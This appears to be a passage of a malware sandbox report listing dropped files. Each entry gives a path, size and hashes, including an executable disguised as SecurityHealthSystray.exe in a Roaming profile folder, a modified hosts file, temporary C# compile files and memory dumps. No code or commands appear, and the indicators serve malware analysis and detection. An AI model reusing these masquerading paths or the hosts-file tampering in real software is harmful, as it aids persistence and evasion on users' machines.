SHA512 1f6c673f1d31ed607ba6cd3c22aea0cac893c20c81efcd6b59e72dc8c407e4975bdf21ae744c02140735eed5c03365c76746bb28f9f387d2b013b7693348c851
TLSH
T18881341693D8856AF4BE0B75BDF383072B74A9109A32E34F1C84126CAC31360AB25FB5
MD5 SHA1 SHA512 TLSH

Submit Download

SecurityHealthSystray.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
Size 10.5MB
SHA256 813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae
MD5 41e9d226aa36e38baabd337d55f7e8a7
SHA1 269e02fc8d8a5482ecbe5583a23238505682929e
SHA512 10d49cd9124cb53bffc146055836b8cba3f6864b42f3b26045c5cc6b88b68d9f72d6c5b9f2b16dddd1d6906b317979c2cae5a92b0a1dd2800e3ae944c91fb114
SSDEEP 98304:nzJPU3T2z/mhcDHWe2Wo550ZJzzNKsJ10fp790FDEr:n5UDbcD2e2P5+L0h79Lr
TLSH
T1B0B64A47ECA541E9C0ADD5358A669163BA713C884F3423D72F60FB242F76BE0AE79740
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 2KB
SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
MD5 6e2386469072b80f18d5722d07afdc0b
SHA1 032d13e364833d7276fcab8a5b2759e79182880f
SHA512 e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb
TLSH
T184511117068D90FC22B101BDC41FA61EE24E93A305DFFDC9798DBE5E274177822562B1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC17664F38536F43989D917175E865D341.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\e1ne5rln\CSC17664F38536F43989D917175E865D341.TMP
Size 652B
SHA256 9da167b92825c2dfc017e6f3aa2eb0fc32ae434f764adbeaf054496db87bd656
MD5 2a0661a233b9541374db82df6a1beaa4
SHA1 fc74bd7f12990ae43b18e8d9c89c8356ed4751cd
SHA512 55da2cc00ba57dadb3f7be426d815d198daf52bc16b930ab3be3a9b1abb910e9481c1d3a5eae55d39aebd59361bb20f865e7aeb3f5f3e9faa8c11f7cfe71da02
TLSH
T11EF05E0963F8020EF0F35B30BDF6436395A8BC64DE7293ED1850032928645208962FB6
MD5 SHA1 SHA512 TLSH

Submit Download

e1ne5rln.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\e1ne5rln\e1ne5rln.0.cs
Size 1004B
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
TLSH
T159114EF8AD2FD65A44336B37FE7B5484EF3613A3022A911ABD8C41244F3185493AAE59
MD5 SHA1 SHA512 TLSH

Submit Download

e1ne5rln.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\e1ne5rln\e1ne5rln.cmdline
Size 607B
SHA256 c5b0d309a7b5b71131fd5118663a17ee397883b63f54ffeab430cf0b51e59dfe
MD5 5430103d496c056e42526d23d0a550e2
SHA1 f6d39bce848d449a4898efad3e790e0b0ea7a51f
SHA512 9d0f8116d032de994c8a92513f2639f648ef25736e72f5429594d622759f7242932f3618fd882c6af9ce8fb154a2262537f14e6a2fe751a656276585a4985e4b
TLSH
T1BAF0AC35023BC5BE41E93403156E8A9CD33B075B3081AF58658D881EE567050AF917A8
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1392-24-0x0000023F4E420000-0x0000023F4E42A000-memory.dmp

Download

memory/1392-23-0x0000023F4E360000-0x0000023F4E412000-memory.dmp

Download

memory/1392-22-0x0000023F4E340000-0x0000023F4E35E000-memory.dmp

Download

memory/1392-14-0x0000023F4E0C0000-0x0000023F4E0E2000-memory.dmp

Download

memory/5752-53-0x0000016F9CB10000-0x0000016F9CB18000-memory.dmp

Download